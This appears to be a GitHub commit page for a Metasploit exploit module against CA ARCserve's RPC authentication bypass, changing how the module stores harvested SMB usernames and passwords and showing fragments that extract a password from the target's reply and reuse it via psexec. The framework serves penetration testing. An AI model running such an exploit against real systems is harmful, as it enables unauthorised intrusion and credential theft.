Skip to content

Commit 1c357e6

Browse files
committed
Land rapid7#5478, @wchen-r7 Updates ca_arcserve_rpc_authbypass to use the new cred API
2 parents b349549 + 0f17f62 commit 1c357e6

File tree

1 file changed

+47
-12
lines changed

1 file changed

+47
-12
lines changed

modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb

Lines changed: 47 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,33 @@ def initialize(info = {})
5858
], self.class )
5959
end
6060

61+
def report_cred(opts)
62+
service_data = {
63+
address: opts[:ip],
64+
port: opts[:port],
65+
service_name: opts[:service_name],
66+
protocol: 'tcp',
67+
workspace_id: myworkspace_id
68+
}
69+
70+
credential_data = {
71+
module_fullname: fullname,
72+
post_reference_name: self.refname,
73+
private_data: opts[:password],
74+
origin_type: :service,
75+
private_type: :password,
76+
username: opts[:user]
77+
}.merge(service_data)
78+
79+
login_data = {
80+
core: create_credential(credential_data),
81+
status: opts[:status],
82+
last_attempted_at: DateTime.now
83+
}.merge(service_data)
84+
85+
create_credential_login(login_data)
86+
end
87+
6188
def exploit
6289
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
6390

@@ -104,18 +131,6 @@ def exploit
104131
pass = resp[pass_index+1].gsub(/\"/, "")
105132
end
106133

107-
# report the auth
108-
auth = {
109-
:host => datastore['RHOST'],
110-
:port => 445,
111-
:sname => 'smb',
112-
:proto => 'tcp',
113-
:user => user,
114-
:pass => pass,
115-
:active => true
116-
}
117-
report_auth_info(auth)
118-
119134
srvc = {
120135
:host => datastore['RHOST'],
121136
:port => datastore['RPORT'],
@@ -159,11 +174,31 @@ def exploit
159174
'RunAsJob' => true
160175
)
161176
rescue
177+
report_cred(
178+
ip: datastore['RHOST'],
179+
port: 445,
180+
service_name: 'smb',
181+
user: user,
182+
password: pass,
183+
status: Metasploit::Model::Login::Status::INCORRECT
184+
)
185+
162186
print_status("Login attempt using windows/smb/psexec failed")
163187
print_status("Credentials have been stored and may be useful for authentication against other services.")
188+
# report the auth
164189
return
165190
end
166191

192+
# report the auth
193+
report_cred(
194+
ip: datastore['RHOST'],
195+
port: 445,
196+
service_name: 'smb',
197+
user: user,
198+
password: pass,
199+
status: Metasploit::Model::Login::Status::SUCCESSFUL
200+
)
201+
167202
handler
168203
end
169204
end

0 commit comments

Comments
 (0)